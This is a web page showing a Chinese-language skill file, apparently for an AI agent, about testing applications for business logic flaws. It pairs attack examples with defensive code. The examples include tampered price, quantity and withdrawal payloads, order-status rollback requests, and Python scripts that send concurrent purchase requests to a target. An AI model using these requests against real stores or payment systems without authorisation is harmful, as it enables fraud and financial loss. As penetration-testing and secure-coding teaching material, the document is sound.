Run any Skill in Manus
with one click
with one click
Run any Skill in Manus with one click
Get Started$pwd:
$ git log --oneline --stat
stars:4,026
forks:681
updated:January 15, 2026 at 14:00
SKILL.md
| name | business-logic-testing |
| description | 业务逻辑漏洞测试的专业技能和方法论 |
| version | 1.0.0 |
业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。
跳过验证步骤:
负数价格:
价格篡改:
负数数量:
超出限制:
并发请求:
状态回退:
识别业务流程:
测试步骤跳过:
正常流程: 步骤1 → 步骤2 → 步骤3
测试: 直接访问步骤3
测试: 步骤1 → 步骤3(跳过步骤2)
修改关键参数:
POST /api/purchase
{
"product_id": 123,
"quantity": 1,
"price": 100.00 # 修改为 0.01
}
负数测试:
{
"quantity": -1,
"price": -100.00
}
同时发送请求:
import threading
import requests
def purchase():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 同时发送10个请求
for i in range(10):
threading.Thread(target=purchase).start()
修改订单状态:
PATCH /api/order/123
{
"status": "completed" # 修改为已完成
}
回退状态:
PATCH /api/order/123
{
"status": "pending" # 从已完成回退到待支付
}
负数价格:
{
"product_id": 123,
"price": -100.00,
"quantity": 1
}
修改前端价格:
// 前端代码
const price = 100.00;
// 修改为
const price = 0.01;
API价格修改:
POST /api/checkout
{
"items": [
{
"product_id": 123,
"price": 0.01, # 原价100.00
"quantity": 1
}
]
}
负数数量:
{
"product_id": 123,
"quantity": -10 # 可能导致库存增加
}
超出限制:
{
"product_id": 123,
"quantity": 999999 # 超出单次购买限制
}
重复使用:
POST /api/checkout
{
"coupon": "DISCOUNT50",
"items": [...]
}
# 重复使用同一优惠券
未激活优惠券:
POST /api/checkout
{
"coupon": "EXPIRED_COUPON", # 使用过期优惠券
"items": [...]
}
负数提现:
{
"amount": -1000.00 # 可能导致账户余额增加
}
超出余额:
{
"amount": 999999.00 # 超出账户余额
}
并发购买:
import threading
import requests
def buy():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 限时抢购,并发请求
for i in range(100):
threading.Thread(target=buy).start()
直接调用API:
修改请求:
观察响应:
从错误信息获取信息:
错误: "余额不足,当前余额: 100.00"
→ 可以获取账户余额信息
使用Repeater:
使用Intruder:
import requests
import json
def test_price_manipulation():
# 测试价格修改
for price in [0.01, -100, 0, 999999]:
data = {
"product_id": 123,
"price": price,
"quantity": 1
}
response = requests.post('https://target.com/api/purchase',
json=data)
print(f"Price {price}: {response.status_code}")
test_price_manipulation()
服务端验证
def process_purchase(product_id, quantity, price):
# 从数据库获取真实价格
real_price = db.get_product_price(product_id)
# 验证价格
if price != real_price:
raise ValueError("Price mismatch")
# 验证数量
if quantity <= 0:
raise ValueError("Invalid quantity")
# 处理购买
process_order(product_id, quantity, real_price)
状态机验证
class OrderState:
PENDING = "pending"
PAID = "paid"
SHIPPED = "shipped"
COMPLETED = "completed"
TRANSITIONS = {
PENDING: [PAID],
PAID: [SHIPPED],
SHIPPED: [COMPLETED]
}
def can_transition(self, from_state, to_state):
return to_state in self.TRANSITIONS.get(from_state, [])
并发控制
import threading
lock = threading.Lock()
def process_order(order_id):
with lock:
# 检查订单状态
order = db.get_order(order_id)
if order.status != 'pending':
raise ValueError("Order already processed")
# 处理订单
process(order)
业务规则验证
def validate_business_rules(order):
# 验证数量限制
if order.quantity > MAX_QUANTITY:
raise ValueError("Quantity exceeds limit")
# 验证价格范围
if order.price <= 0:
raise ValueError("Invalid price")
# 验证库存
if order.quantity > get_stock(order.product_id):
raise ValueError("Insufficient stock")
审计日志
def log_business_action(user_id, action, details):
log_entry = {
"user_id": user_id,
"action": action,
"details": details,
"timestamp": datetime.now()
}
db.log_action(log_entry)
满配示例技能包:SKILL.md + scripts/、references/、assets/ 等可选目录;验证 Eino skill 与 HTTP 包内路径(仅授权安全测试与教学)。
API安全测试的专业技能和方法论
云安全审计的专业技能和方法论
命令注入漏洞测试的专业技能和方法论
容器安全测试的专业技能和方法论
CSRF跨站请求伪造测试的专业技能和方法论